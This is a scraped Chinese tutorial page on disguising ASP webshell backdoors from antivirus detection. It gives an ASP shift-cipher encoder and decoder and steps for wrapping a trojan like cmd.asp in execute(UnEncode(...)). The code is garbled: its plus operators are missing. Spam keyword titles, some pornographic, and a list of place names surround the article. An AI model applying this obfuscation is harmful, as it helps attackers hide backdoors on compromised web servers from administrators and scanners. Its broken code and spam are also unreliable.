国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

ASP后門之終極偽裝_ASP教程

2024-05-04 11:03:52
字體:
供稿:網(wǎng)友

推薦:用ASP封IP的方法,防止固定IP垃圾留言
以下為引用的內(nèi)容: <%Dim IP,IPString,VisitIP'要禁止的IP地址IPString="|195.225.177.34|195.225.177.137|72.232.250.10|&qu

記得當年asp木馬出來的時候號稱“永不被殺的木馬”,呵呵,時至今日,隨便什么殺毒軟件都能將其殺得片甲不留^_^呵呵,受到木馬換殼躲避殺毒軟件思路影響,我們也可以給asp木馬“加殼”(呵呵,當然不是用UPX等)。還等什么?請往下看。

其實這個思路很簡單,就是把asp代碼編碼,執(zhí)行時再解碼。這里有兩個方法,一是用微軟的工具Script Encoder;二是利用asp的execute函數(shù)。

先說說Script Encoder。這個東東可以在微軟官方網(wǎng)站免費下到,而且還附贈詳細使用說明,這里就不多說了吧。但是經(jīng)過它加密后的文件會有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露馬腳了,管理員看到這句話就知道這個asp文件被加密了。那怎么解密呢?這里提供一個解密軟件(》點擊進入下載《)。現(xiàn)在知道了吧,微軟的Script Encoder不保險,所以呢,我們要自己寫一個程序出來“加殼”。

asp的execute函數(shù)是拿來執(zhí)行字符串的,即是說可以把asp語句寫成字符串,然后用execute來執(zhí)行。比如這行代碼:execute("response.write(""hackerXfiles"")"),執(zhí)行后的效果等同于執(zhí)行response.write("hackerXfiles")。這里由于execute函數(shù)里的東東是字符串,故遇到引號要雙寫。呵呵,既然execute里是字符串,那么我們就可以把里面的東東拿來加密了。

怎么加密呢?呵呵,就用最簡單的移位法好了。請看代碼:


  but=1
  cc=replace(nr,vbcrlf,"胡")
  for i= 1 to len(cc)
    if mid(cc,i,1)<>"胡" then
      pk=asc(mid(cc,i,1)) but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk 95
      end if
      temp=temp&chr(pk)
    else
      temp=temp&"胡"
    end if
  next
  temp=replace(temp,"""","""""")
  response.write(temp)

這段代碼就是asp下的循環(huán)移位法。那個變量but就是移位的位數(shù),可修改。呵呵,怎么叫循環(huán)呢?因為程序會比較字符的ascii碼,當大于126或者小于32時就會處理,使范圍在32~126之間。因為這樣可以避免出現(xiàn)windows不能顯示的字符。這也是一開始就把回車換行符替換掉的原因。這里我自己寫了一個移位加密的asp程序xor.asp附上,希望對你有幫助。

那就讓我們來看看用上面代碼把response.write("hackerXfiles")加密后的結(jié)果:“sftqpotf/xsjuf)#ibdlfsYgjmft#*”,嘿嘿,這回神仙也看不懂了吧^_^

既然加了密,當然要解密啦,看解密代碼:

function UnEncode(temp)
  but=1 '這個是移位法所移的位數(shù)!注意修改此處與加密時使用的一致
  for i =1 to len(temp)
    if mid(temp,i,1)<>"胡" then
      pk=asc(mid(temp,i,1))-but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk 95
      end if
      a=a&chr(pk)
    else
      a=a&vbcrlf
    end if
  next
  UnEncode=a
end function

呵呵,現(xiàn)在知道怎么執(zhí)行了吧,只需調(diào)用這個解密函數(shù)就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎么樣,是不是順利執(zhí)行了!

在這里給大家一個示范,好讓大家明白怎么加密asp木馬。由于海洋的asp木馬代碼太多,我人又懶,就拿那個短小精悍的cmd.asp來示范吧!

首先運行我寫的那個xor.asp,然后用記事本打開cmd.asp,將它的asp代碼部分復制到xor.asp的文本框,填好移位參數(shù)(這里我用的1),點“轉(zhuǎn)換”,呵呵,結(jié)果就出來了。然后新建一個文本文檔,把cmd.asp的內(nèi)容復制進去,前面那個UnEncode函數(shù)內(nèi)容也添進去(這里要注意修改UnEncode函數(shù)里變量but的值與加密時選的移位參數(shù)值一致),然后把它的asp部分替換成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密結(jié)果賦值。呵呵,然后保存為asp文件就ok啦!這里就再羅嗦幾句。如果代碼比較長,可以分成幾部分加密,然后多用幾個execute執(zhí)行就是,但是要注意必須保證asp代碼的完整性,也就是說不能把相關聯(lián)的代碼如if、end if分到兩個execute里去了。

看看吧,同樣可以運行!

分享:查詢某個字段沒有值的所有記錄的SQL語句怎么寫?
有時我們需要查詢出某字段沒有值的全部記錄,那應該用rs("xx")=""還是IsNull(rs("xx"))呢?要得出結(jié)論,我們還得從頭說起:什么情況下字段中會沒有值?因為這和

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 乐清市| 兴文县| 拉萨市| 增城市| 抚远县| 德令哈市| 勐海县| 蓬安县| 金坛市| 三亚市| 班戈县| 布尔津县| 邵武市| 胶南市| 临沭县| 阜南县| 武平县| 怀化市| 鹤峰县| 文成县| 三台县| 伊春市| 成都市| 台北市| 兰西县| 辉县市| 故城县| 镇江市| 达拉特旗| 松桃| 集安市| 海安县| 绥德县| 黔西县| 永清县| 商南县| 商南县| 三原县| 肥乡县| 铁力市| 连南|